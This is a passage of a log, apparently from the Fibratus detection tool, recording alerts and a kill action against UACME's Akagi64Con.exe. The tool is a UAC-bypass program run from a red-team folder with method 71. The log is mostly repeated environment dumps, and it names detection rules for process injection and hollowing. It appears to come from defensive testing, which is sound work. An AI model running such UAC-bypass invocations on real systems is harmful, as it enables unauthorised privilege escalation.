Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:08+01:00 level=info msg=executing kill action: pids=[11932] rule=Potential Process Hollowing source=rules/engine.go:294 +time=2025-11-25T15:18:08+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\csc\2b8acce52c969fd81364a73bcaf836e1\csc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1667754 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:17:59.6247965 +0100 CET + Params: base_address➜ 7ffb41ef0000, checksum➜ 0, default_address➜ 7ffb41ef0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\csc\2b8acce52c969fd81364a73bcaf836e1\csc.ni.exe, image_size➜ 491520, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:08+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\csc\2b8acce52c969fd81364a73bcaf836e1\csc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1667754 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:17:59.6247965 +0100 CET + Params: base_address➜ 7ffb41ef0000, checksum➜ 0, default_address➜ 7ffb41ef0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\csc\2b8acce52c969fd81364a73bcaf836e1\csc.ni.exe, image_size➜ 491520, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:08+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\csi\642ddb7150eb85f1b175033b6b90d534\csi.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1667767 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:17:59.6262199 +0100 CET + Params: base_address➜ 7ffb9a7c0000, checksum➜ 0, default_address➜ 7ffb9a7c0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\csi\642ddb7150eb85f1b175033b6b90d534\csi.ni.exe, image_size➜ 28672, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G 